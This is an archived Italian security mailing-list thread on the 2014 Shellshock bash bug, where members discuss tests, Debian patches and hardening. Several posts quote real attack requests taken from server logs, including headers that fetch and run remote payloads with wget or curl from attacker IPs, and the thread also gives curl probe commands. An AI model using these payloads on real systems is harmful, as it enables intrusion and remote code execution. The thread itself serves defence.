Discussion:
Bug inquietante di bash (aka CVE-2014-6271)
(too old to reply)
kionez
2014-09-25 09:23:27 UTC
Permalink
Ieri è stato reso noto l'ennesimo "baco del secolo", da cosa sto capendo
è possibile fare eseguire del codice arbitrario a bash grazie a
un'errata interpretazione delle variabili di environment.

A quanto pare la cosa potrebbe interessare anche i webserver che per
qualche ragione eseguono qualche script in bash (es: cgi, system() e via
dicendo). Sto cercando di capire meglio come verificare la vulnerabilità
a questo genere di attacchi, sopratutto come risolvere la questione su
vecchie installazioni poco mantenute (ho ancora online un paio di Debian
lenny che purtroppo non sono aggiornabili). Potendo eseguire qualsiasi
cosa, credo ci siano implicazioni non da poco...

Ecco un po' di documentazione, è sufficiente cercare "bash shellshock"
sul vostro motore di ricerca preferito per avere altro materiale.

http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-6271
https://securityblog.redhat.com/2014/09/24/bash-specially-crafted-environment-variables-code-injection-attack/
http://blog.erratasec.com/2014/09/bash-shellshock-scan-of-internet.html
http://blog.erratasec.com/2014/09/bash-shellshock-bug-is-wormable.html

Che ne pensate?

k.
________________________________________________________
http://www.sikurezza.org - Italian Security Mailing List
Maurizio Antonelli
2014-09-25 09:34:31 UTC
Permalink
... Sto cercando di capire meglio come verificare la vulnerabilità
a questo genere di attacchi, sopratutto come risolvere la questione su
vecchie installazioni poco mantenute (ho ancora online un paio di Debian
lenny che purtroppo non sono aggiornabili). Potendo eseguire qualsiasi
cosa, credo ci siano implicazioni non da poco........
Fonte:
http://attivissimo.blogspot.it/2014/09/shellshock-falla-critica-in-linux-mac.html


"
Per sapere se un dispositivo basato su Unix (quindi anche un computer
Apple) è vulnerabile, provate a digitare in una finestra di terminale
questo comando:

env x='() { :;}; echo vulnerabile' bash -c "echo prova"


Se vi compare un messaggio d'errore del tipo bash: warning: x: ignoring
function definition attempt
bash: error importing function definition for `x', siete a posto. Se
invece compare la parola vulnerabile, siete appunto vulnerabili.
"
--
Maurizio Antonelli
E-mail: ***@maury.it
PEC: ***@pec.maury.it
Blog e Tumblr: http://www.maury.it/blog - http://www.maury.it/tumblr


________________________________________________________
http://www.sikurezza.org - Italian Security Mailing List
Maurizio Cavalletti
2014-09-25 09:50:12 UTC
Permalink
Non ho verificato personalmente, ma qualcuno dice che anche su android
(dicono di avre provato su 4.4) c'Ú questa falla. Non so quanto possa
essere pericolosa in questo caso.
Post by Maurizio Antonelli
... Sto cercando di capire meglio come verificare la vulnerabilità
a questo genere di attacchi, sopratutto come risolvere la questione su
vecchie installazioni poco mantenute (ho ancora online un paio di Debian
lenny che purtroppo non sono aggiornabili). Potendo eseguire qualsiasi
cosa, credo ci siano implicazioni non da poco........
http://attivissimo.blogspot.it/2014/09/shellshock-falla-critica-in-linux-mac.html
"
Per sapere se un dispositivo basato su Unix (quindi anche un computer
Apple) Ú vulnerabile, provate a digitare in una finestra di terminale
env x='() { :;}; echo vulnerabile' bash -c "echo prova"
Se vi compare un messaggio d'errore del tipo bash: warning: x: ignoring
function definition attempt
bash: error importing function definition for `x', siete a posto. Se
invece compare la parola vulnerabile, siete appunto vulnerabili.
"
--
Maurizio Antonelli
Blog e Tumblr: http://www.maury.it/blog - http://www.maury.it/tumblr
________________________________________________________
http://www.sikurezza.org - Italian Security Mailing List
--
maurizio
kionez
2014-09-25 09:51:41 UTC
Permalink
#include <Maurizio Antonelli.h> // created 25/09/2014 11:34
[cut]
Post by Maurizio Antonelli
... Sto cercando di capire meglio come verificare la vulnerabilità
a questo genere di attacchi,
[cut]

Ooops, dimenticavo una parte rilevante della frase: come verificare da
remoto la vulnerabilità :)
Post by Maurizio Antonelli
env x='() { :;}; echo vulnerabile' bash -c "echo prova"
Questo è un bun metodo per verificare in locale se la propria versione
di bash è vulnerabile. A quanto ho notato, Debian ha già rilasciato una
versione corretta di bash, invece quella disponibile su ArchLinux
comunque è vulnerabile a un altro tipo di attacco, quello riportato in
CVE-2014-7169 [1], in pratica è comunque possibile scrivere un file:

$ env X='() { (a)=>\' sh -c "echo date"; cat echo

1: http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-7169

A quanto pare in alcuni casi è sufficiente passare un qualsiasi header
fatto ad-hoc per testare la vulnerabilità, ad esempio con un banale:

$ curl -i -X GET "http://www.hostvulnerabile.it/cgi-bin/test.cgi" -A '()
{ :;}; echo "Warning: Server Vulnerable"'

oppure con un classico:

$ curl -i -X GET "http://www.hostvulnerabile.it/cgi-bin/test.cgi" -H
'X-Custom: () { :;}; touch /tmp/vuln; echo "Warning: Server Vulnerable"'

Sto cercando di capire se ad esempio le esecuzioni di php attraverso
mod_fcgid (che si appoggia a un "wrapper" bash per eseguire php stesso)
sono vulnerabili.. ma non riesco (ancora) a venirne a capo. In ogni caso
qualsiasi cosa passi attraverso bash (anche non necessariamente
invocandola direttamente, ad esempio se è configurata come shell di
default) può esporre questo problema.

Per togliermi il dubbio, sto comunque compilando il pacchetto .deb
patchato per lenny ;)

k.
________________________________________________________
http://www.sikurezza.org - Italian Security Mailing List
Jan Reister
2014-09-25 10:04:40 UTC
Permalink
A quanto pare in alcuni casi � sufficiente passare un qualsiasi header
$ curl -i -X GET "http://www.hostvulnerabile.it/cgi-bin/test.cgi" -A '()
{ :;}; echo "Warning: Server Vulnerable"'
$ curl -i -X GET "http://www.hostvulnerabile.it/cgi-bin/test.cgi" -H
'X-Custom: () { :;}; touch /tmp/vuln; echo "Warning: Server Vulnerable"'
Da noi è già arrivato un drone che esegue

GET /cgi-sys/defaultwebpage.cgi HTTP/1.0{0D}{0A}
User-Agent: () { :;}; /bin/ping -c 1 192.168.0.1{0D}{0A}
Accept: */*{0D}{0A}
{0D}{0A}

(sessione ricostruita con l'IDS, con 192.168.0.1 sostituisco l'indirizzo
reale del collettore dell'attaccante)

Jan
________________________________________________________
http://www.sikurezza.org - Italian Security Mailing List
P@sKy
2014-09-25 11:20:20 UTC
Permalink
Post by Jan Reister
Da noi è già arrivato un drone che esegue
GET /cgi-sys/defaultwebpage.cgi HTTP/1.0{0D}{0A}
User-Agent: () { :;}; /bin/ping -c 1 192.168.0.1{0D}{0A}
Accept: */*{0D}{0A}
{0D}{0A}
(sessione ricostruita con l'IDS, con 192.168.0.1 sostituisco l'indirizzo
reale del collettore dell'attaccante)
E perchè mai hai oscurato l'indirizzo reale del collettore
dell'attaccante?

Anche da noi è arrivata la stessa cosa...

[25/Sep/2014:12:33:19 +0200] "GET /cgi-sys/defaultwebpage.cgi HTTP/1.0"
404 382 "-" "() { :;}; /bin/ping -c 1 198.101.206.138"

sessione ricostruita dai file di log, ma personalmente me
ne guardo bene dall'oscurare l'indirizzo reale del collettore
dell'attaccante, perchè potrebbe essere utile ad altri..
for fun and profit... ;)
--
***@sKy
Makkinista - Fuokista
Isole Nella Rete - http://www.ecn.org/
________________________________________________________
http://www.sikurezza.org - Italian Security Mailing List
William Maddler
2014-09-25 11:46:16 UTC
Permalink
Identica identica anche su vari miei server. Pare sia lo stesso che
spamma come un dannato.
Post by ***@sKy
Post by Jan Reister
Da noi è già arrivato un drone che esegue
GET /cgi-sys/defaultwebpage.cgi HTTP/1.0{0D}{0A}
User-Agent: () { :;}; /bin/ping -c 1 192.168.0.1{0D}{0A}
Accept: */*{0D}{0A}
{0D}{0A}
(sessione ricostruita con l'IDS, con 192.168.0.1 sostituisco l'indirizzo
reale del collettore dell'attaccante)
E perchè mai hai oscurato l'indirizzo reale del collettore
dell'attaccante?
Anche da noi è arrivata la stessa cosa...
[25/Sep/2014:12:33:19 +0200] "GET /cgi-sys/defaultwebpage.cgi
HTTP/1.0" 404 382 "-" "() { :;}; /bin/ping -c 1 198.101.206.138"
sessione ricostruita dai file di log, ma personalmente me
ne guardo bene dall'oscurare l'indirizzo reale del collettore
dell'attaccante, perchè potrebbe essere utile ad altri..
for fun and profit... ;)
________________________________________________________
http://www.sikurezza.org - Italian Security Mailing List
Igor Falcomata'
2014-09-25 11:53:11 UTC
Permalink
Identica identica anche su vari miei server. Pare sia lo stesso che spamma
come un dannato.
Post by ***@sKy
[25/Sep/2014:12:33:19 +0200] "GET /cgi-sys/defaultwebpage.cgi HTTP/1.0"
404 382 "-" "() { :;}; /bin/ping -c 1 198.101.206.138"
Per altro o c'e' qualcosa che quelli di cpanel non hanno capito, o non
serve a un tubo [*]?

http://blog.erratasec.com/2014/09/bash-shellshock-bug-is-wormable.html

"Phil Stark said...

Our internal testing showed that /cgi-sys/defaultwebpage.cgi was not vulnerable
by this exploit. It is not written in bash and does not make any calls to bash.

If you have evidence to the contrary, or are aware of any other CGI scripts
distributed by cPanel that are vulnerable we would greatly appreciate it if
you'd open a ticket with us with this information:
[..]"

[*]: non uso e non ho un cCoso comodo per provare

bye,
K.
________________________________________________________
http://www.sikurezza.org - Italian Security Mailing List
Jan Reister
2014-09-25 12:36:26 UTC
Permalink
Post by ***@sKy
E perchè mai hai oscurato l'indirizzo reale del collettore
dell'attaccante?
Anche da noi è arrivata la stessa cosa...
[25/Sep/2014:12:33:19 +0200] "GET /cgi-sys/defaultwebpage.cgi HTTP/1.0"
404 382 "-" "() { :;}; /bin/ping -c 1 198.101.206.138"
Perché non ero sicuro del coinvolgimento di 198.101.206.138

Comunque eccone un altro:

GET /cgi-sys/defaultwebpage.cgi HTTP/1.1{0D}{0A}
User-Agent: Thanks-Rob{0D}{0A}
Cookie:() { :; }; wget -O /tmp/besh http://162.253.66.76/nginx; chmod
777 /tmp/b
esh; /tmp/besh;{0D}{0A}
Host:() { :; }; wget -O /tmp/besh http://162.253.66.76/nginx; chmod 777
/tmp/bes
h; /tmp/besh;{0D}{0A}
Referer:() { :; }; wget -O /tmp/besh http://162.253.66.76/nginx; chmod
777 /tmp/
besh; /tmp/besh;{0D}{0A}
{0D}{0A}

E un altro, che sta studiando, 1 solo tentativo:

GET / HTTP/1.1{0D}{0A}
User-Agent: () { :; }; echo -e "Content-Type: text/plain\n"; echo
qQQQQQq{0D}
{0A}
Host: ferrovieabbandonate.it{0D}{0A}
Accept: */*{0D}{0A}
{0D}{0A}


Un altro solitario:

GET / HTTP/1.1{0D}{0A}
User-Agent: () { :;}; echo shellshock-scan >
/dev/udp/pwn.nixon-security.se/4444
{0D}{0A}
Host: unimi.it{0D}{0A}
Accept: */*{0D}{0A}
{0D}{0A}


Jan
________________________________________________________
http://www.sikurezza.org - Italian Security Mailing List
Paolo Pedaletti
2014-09-25 12:45:00 UTC
Permalink
ciao Jan,
Post by Jan Reister
Cookie:() { :; }; wget -O /tmp/besh http://162.253.66.76/nginx; chmod
777 /tmp/besh; /tmp/besh;{0D}{0A}
ecco un buon motivo per montare /tmp su un FS a parte e in modalita' no-exec

ciao
--
Paolo Pedaletti
www.openlabs.it
http://www.ecis.eu/documents/Finalversion_Consumerchoicepaper.pdf
http://linguistico.sourceforge.net/pages/traduzioni/ms_illegal.html

________________________________________________________
http://www.sikurezza.org - Italian Security Mailing List
Michele Mazzotta
2014-09-25 15:25:39 UTC
Permalink
Post by Paolo Pedaletti
ciao Jan,
Post by Jan Reister
Cookie:() { :; }; wget -O /tmp/besh http://162.253.66.76/nginx; chmod
777 /tmp/besh; /tmp/besh;{0D}{0A}
ecco un buon motivo per montare /tmp su un FS a parte e in modalita' no-exec
Ciao a tutti, un piccolo contributo di quanto trovato nei log:

[25/Sep/2014:15:41:06 +0200] "GET /cgi-bin/his HTTP/1.0" 403 213 "-" "() { :;}; /bin/bash -c \"cd /tmp;curl -O http://213.5.67.223/jur ; perl /tmp/jur;rm -rf /tmp/jur\""

-Michele
Massimo Giaimo
2014-09-25 12:28:27 UTC
Permalink
Da noi Ú già arrivato un drone che esegue
GET /cgi-sys/defaultwebpage.cgi HTTP/1.0{0D}{0A}
User-Agent: () { :;}; /bin/ping -c 1 192.168.0.1{0D}{0A}
Accept: */*{0D}{0A}
{0D}{0A}
(sessione ricostruita con l'IDS, con 192.168.0.1 sostituisco l'indirizzo
reale del collettore dell'attaccante)
Jan
Ciao Jan, lo scan in questione, per quanto "scocciante" possa sembrare, Ú ben dichiarato in questo link: http://blog.erratasec.com/2014/09/bash-shellshock-scan-of-internet.html#.VCQI-a1dTRY

fastfire
Jan Reister
2014-09-25 12:52:31 UTC
Permalink
Post by Massimo Giaimo
Ciao Jan, lo scan in questione, per quanto "scocciante" possa sembrare,
Ma no, nessun disturbo. In verità sto tracciando i ping di risposta così
da conoscere i nodi vulnerabili senza fatica :-)
Post by Massimo Giaimo
http://blog.erratasec.com/2014/09/bash-shellshock-scan-of-internet.html#.VCQI-a1dTRY
Interessante.

Jan
________________________________________________________
http://www.sikurezza.org - Italian Security Mailing List
Niko Usai
2014-09-25 12:29:27 UTC
Permalink
E' veramente seria già solo con i cgi.

Già girano robe brutte:

https://gist.github.com/anonymous/929d622f3b36b00c0be1

m0gui - Keep calm & code in C
---
pub 1024D/3BF6890C
Key fingerprint = CEDD 4512 3248 4C9C 2493 FE56 2E55 A884 3BF6 890C
server: pgp.mit.edu

________________________________________________________
http://www.sikurezza.org - Italian Security Mailing List
Andrea Zwirner
2014-09-25 10:43:39 UTC
Permalink
Post by kionez
Ooops, dimenticavo una parte rilevante della frase: come verificare da
remoto la vulnerabilità:)
E' in attesa di verifica, ma su Exploit DB c'è un PoC disponibile:

http://www.exploit-db.com/exploits/34766/

Saluti,

A.


*Andrea Zwirner*
*email*: ***@linkspirit.org
*mobile*: +39 366 1872016

Linkspirit Via Luigi Moretti 2 - 33100 Udine UD
*tel:* +39 0432 1845030 - *fax:* +39 0432 309903
*web:* www.linkspirit.it - *email:* ***@linkspirit.it


Logo Please consider your environmental responsibility before printing
this email.
Marco d'Itri
2014-09-25 12:18:41 UTC
Permalink
Post by kionez
vecchie installazioni poco mantenute (ho ancora online un paio di Debian
lenny che purtroppo non sono aggiornabili). Potendo eseguire qualsiasi
cosa, credo ci siano implicazioni non da poco...
Un buon workaround è prendere il binario da bash-static di squeeze-lts.
Con lenny a me ha sempre funzionato, ma con versioni più vecchie in
alcuni casi c'è un segfault di cui non ho avuto tempo di approfondire
l'origine (credo legato al fatto che le librerie di NSS non sono
statiche).

Credo che alla fine farò un rebuild del pacchetto per le versioni
interessate dal bug.

Su Debian 6 e 7 (e Ubuntu) il problema è molto meno grave perché /bin/sh
è dash e non bash.
--
ciao,
Marco
Igor Falcomata'
2014-09-25 12:41:34 UTC
Permalink
Post by Marco d'Itri
Su Debian 6 e 7 (e Ubuntu) il problema è molto meno grave perché /bin/sh
è dash e non bash.
Quindi dash non e' vulnerabile (al momento non ho avuto maniera di
testare che sto in giro) :( ?

Perche' al volissimo ho provato su busybox 1.21.1 di alpine linux e
direi che e' vulnerabile.

ciao,
I.
________________________________________________________
http://www.sikurezza.org - Italian Security Mailing List
Marco d'Itri
2014-09-25 12:48:06 UTC
Permalink
Post by Igor Falcomata'
Quindi dash non e' vulnerabile (al momento non ho avuto maniera di
testare che sto in giro) :( ?
Confermo.
Post by Igor Falcomata'
Perche' al volissimo ho provato su busybox 1.21.1 di alpine linux e
direi che e' vulnerabile.
Sei veramente sicuro? La 1.22 di Debian non lo è:

env - x='() { :;}; echo vulnerable' /bin/busybox sh -c /bin/true
--
ciao,
Marco
Igor Falcomata'
2014-09-25 13:29:14 UTC
Permalink
Post by Marco d'Itri
Post by Igor Falcomata'
Perche' al volissimo ho provato su busybox 1.21.1 di alpine linux e
direi che e' vulnerabile.
env - x='() { :;}; echo vulnerable' /bin/busybox sh -c /bin/true
Ecco, troppo al volissimo, mea culpa, link non standard a bash (invece
che a busybox) /bin/sh nella vm di test che usavo per altro :(

riassumento, busybox 1.21.1 *non* e' vulnerabile.

sorry,
K.
________________________________________________________
http://www.sikurezza.org - Italian Security Mailing List
Stefano Di Paola
2014-09-25 15:53:34 UTC
Permalink
Ciao,

niente da dire in realta'.

Non mi baserei su un test per un parser specifico (bash) , quando
abbiamo n dialetti (ash csh etc).

Magari - lo spero - mi sbaglio, e' solo che se testiamo tutto con lo
stesso payload rischiamo di non essere precisi. :)

Cheers
Stefano.
Post by Igor Falcomata'
Post by Marco d'Itri
Post by Igor Falcomata'
Perche' al volissimo ho provato su busybox 1.21.1 di alpine linux e
direi che e' vulnerabile.
env - x='() { :;}; echo vulnerable' /bin/busybox sh -c /bin/true
Ecco, troppo al volissimo, mea culpa, link non standard a bash (invece
che a busybox) /bin/sh nella vm di test che usavo per altro :(
riassumento, busybox 1.21.1 *non* e' vulnerabile.
sorry,
K.
________________________________________________________
http://www.sikurezza.org - Italian Security Mailing List
--
...oOOo...oOOo....
Stefano Di Paola
Software & Security Engineer

Owasp Italy R&D Director

Web: www.wisec.it
Twitter: http://twitter.com/WisecWisec
..................

________________________________________________________
http://www.sikurezza.org - Italian Security Mailing List
m
2014-09-25 13:52:34 UTC
Permalink
Post by Igor Falcomata'
Post by Marco d'Itri
env - x='() { :;}; echo vulnerable' /bin/busybox sh -c /bin/true
Ecco, troppo al volissimo, mea culpa, link non standard a bash (invece
che a busybox) /bin/sh nella vm di test che usavo per altro :(
riassumento, busybox 1.21.1 *non* e' vulnerabile.
mi hanno fermato che ero già con una gamba al di là della ringhiera sul
ponte del Reno
--
.*. finelli
/V\
(/ \) --------------------------------------------------------------
( ) Linux: Friends dont let friends use Piccolosoffice
^^-^^ --------------------------------------------------------------

A Higgs Boson walks into a church, and gives everyone mass.

Iddo Friedberg
________________________________________________________
http://www.sikurezza.org - Italian Security Mailing List
Igor Falcomata'
2014-09-25 16:01:55 UTC
Permalink
Post by m
Post by Igor Falcomata'
riassumento, busybox 1.21.1 *non* e' vulnerabile.
mi hanno fermato che ero già con una gamba al di là della ringhiera sul
ponte del Reno
Administrivia: riassumendo, ottimo esempio di come prima di postare
qualcosa qui, meglio verificare due volte prima di dire min*hiate.

Mi cospargo il capo di cenere (cosa che chi mi conosce probabilmente
immaginera' abbia gia' fatto parecchie volte, visti i risultati <g>).

thnx ancora a md per aver verificato,
K.
________________________________________________________
http://www.sikurezza.org - Italian Security Mailing List
Francesco Colista
2014-09-25 14:31:02 UTC
Permalink
Post by Igor Falcomata'
Post by Marco d'Itri
Su Debian 6 e 7 (e Ubuntu) il problema è molto meno grave perché /bin/sh
è dash e non bash.
Quindi dash non e' vulnerabile (al momento non ho avuto maniera di
testare che sto in giro) :( ?
Perche' al volissimo ho provato su busybox 1.21.1 di alpine linux e
direi che e' vulnerabile.
ciao,
I.
Busybox non e' vulnerabile.

Alpine non usa bash, se non installato come dipendenza di qualche
pacchetto che lo richiede (vedi tshark).

Che prova hai fatto su Alpine per dire che e' vulnerabile?
--
:: Francesco ::
Twit.....http://twitter.com/fcolista
***@jabber.org
E-***@bsod.eu
AboutMe..http://about.me/fcolista

________________________________________________________
http://www.sikurezza.org - Italian Security Mailing List
kionez
2014-09-25 13:17:28 UTC
Permalink
#include <Marco d'Itri.h> // created 25/09/2014 14:18
Post by Marco d'Itri
Credo che alla fine farò un rebuild del pacchetto per le versioni
interessate dal bug.
è la soluzione che ho adottato anche io, qualche litigio con dpatch e
le patch "ufficiali" ed ho pronto il pacchetto.. ora ovviamente tocca
rifare tutta la tiritera per la versione 32bit.

Su squeeze, invece, nel repository squeeze-lts c'è già la versione
aggiornata.

Esaminando un po' di log nei vari webserver ci sono vari tentativi più
o meno automatizzati di test della vulnerabilità.. sono curioso di
vedere come si evolve la situazione (messa da parte la questione
lavorativa, immagino ripercussioni su router e scatolotti assortiti..)

k.

________________________________________________________
http://www.sikurezza.org - Italian Security Mailing List
Andrea Suisani
2014-09-25 13:40:18 UTC
Permalink
Post by kionez
#include <Marco d'Itri.h> // created 25/09/2014 14:18
Post by Marco d'Itri
Credo che alla fine farò un rebuild del pacchetto per le versioni
interessate dal bug.
è la soluzione che ho adottato anche io, qualche litigio con dpatch e
le patch "ufficiali" ed ho pronto il pacchetto.. ora ovviamente tocca
rifare tutta la tiritera per la versione 32bit.
Su squeeze, invece, nel repository squeeze-lts c'è già la versione
aggiornata.
occhio che la bash su 6.0-lts (come su tutte le debian attive) è ancora
vulnerabile a CVE-2014-7169, come si puo' vedere anche da qui:

https://security-tracker.debian.org/tracker/CVE-2014-7169

il pacchetto corrente protegge da CVE-2014-6271 non dal 7169.

da qui https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-7169
si evince che:

"NOTE: this vulnerability exists because of an incomplete fix for CVE-2014-6271."

Andrea


________________________________________________________
http://www.sikurezza.org - Italian Security Mailing List
kionez
2014-09-25 15:43:47 UTC
Permalink
#include <Andrea Suisani.h> // created 25/09/2014 15:40
[cut]
Post by Andrea Suisani
occhio che la bash su 6.0-lts (come su tutte le debian attive) è ancora
https://security-tracker.debian.org/tracker/CVE-2014-7169
sembra che questa patch [1] sia efficace a risolvere la vulnerabilità
CVE-2014-7169, ma prima di ri-compilare tutte le versioni possibili di
bash aspetto di avere qualche conferma "ufficiale"...


1: http://www.openwall.com/lists/oss-security/2014/09/25/10

k.
________________________________________________________
http://www.sikurezza.org - Italian Security Mailing List
kionez
2014-09-26 07:10:32 UTC
Permalink
#include <kionez.h> // created 25/09/2014 17:43
Post by kionez
#include <Andrea Suisani.h> // created 25/09/2014 15:40
[cut]
Nella notte il Debian Security Team ha rilasciato una nuova versione di
bash, immune dal bug (e dal bug del bug... :) ).

Sul DSA-3035-1 [1] si trovano tutte le informazioni e i link ai vari
CVE, DLA e soci, credo sia un buon punto di partenza per reperire
materiale utile anche per le altre distro.

Ora cerco di capire come patchare le versioni datate (es: 3.4 presente
su lenny).

1: https://security-tracker.debian.org/tracker/DSA-3035-1


k.
________________________________________________________
http://www.sikurezza.org - Italian Security Mailing List
Niko Usai
2014-09-26 08:42:38 UTC
Permalink
POC su client DHCP

https://www.trustedsec.com/september-2014/shellshock-dhcp-rce-proof-concept/

m0gui - Keep calm & code in C
---
pub 1024D/3BF6890C
Key fingerprint = CEDD 4512 3248 4C9C 2493 FE56 2E55 A884 3BF6 890C
server: pgp.mit.edu

________________________________________________________
http://www.sikurezza.org - Italian Security Mailing List

Marco d'Itri
2014-09-25 15:04:00 UTC
Permalink
Post by Marco d'Itri
Credo che alla fine farò un rebuild del pacchetto per le versioni
interessate dal bug.
http://ftp.linux.it/pub/People/md/bash/
--
ciao,
Marco
Corrado Primier
2014-09-25 18:28:12 UTC
Permalink
Ecco un po' di documentazione, Ú sufficiente cercare "bash shellshock"
sul vostro motore di ricerca preferito per avere altro materiale.
Accodo il blog post del sempre ottimo Zalewski. Analizza diverse
implicazioni che sfuggono ai meno attenti:

http://lcamtuf.blogspot.com/2014/09/quick-notes-about-bash-bug-its-impact.html
Continue reading on narkive:
Loading...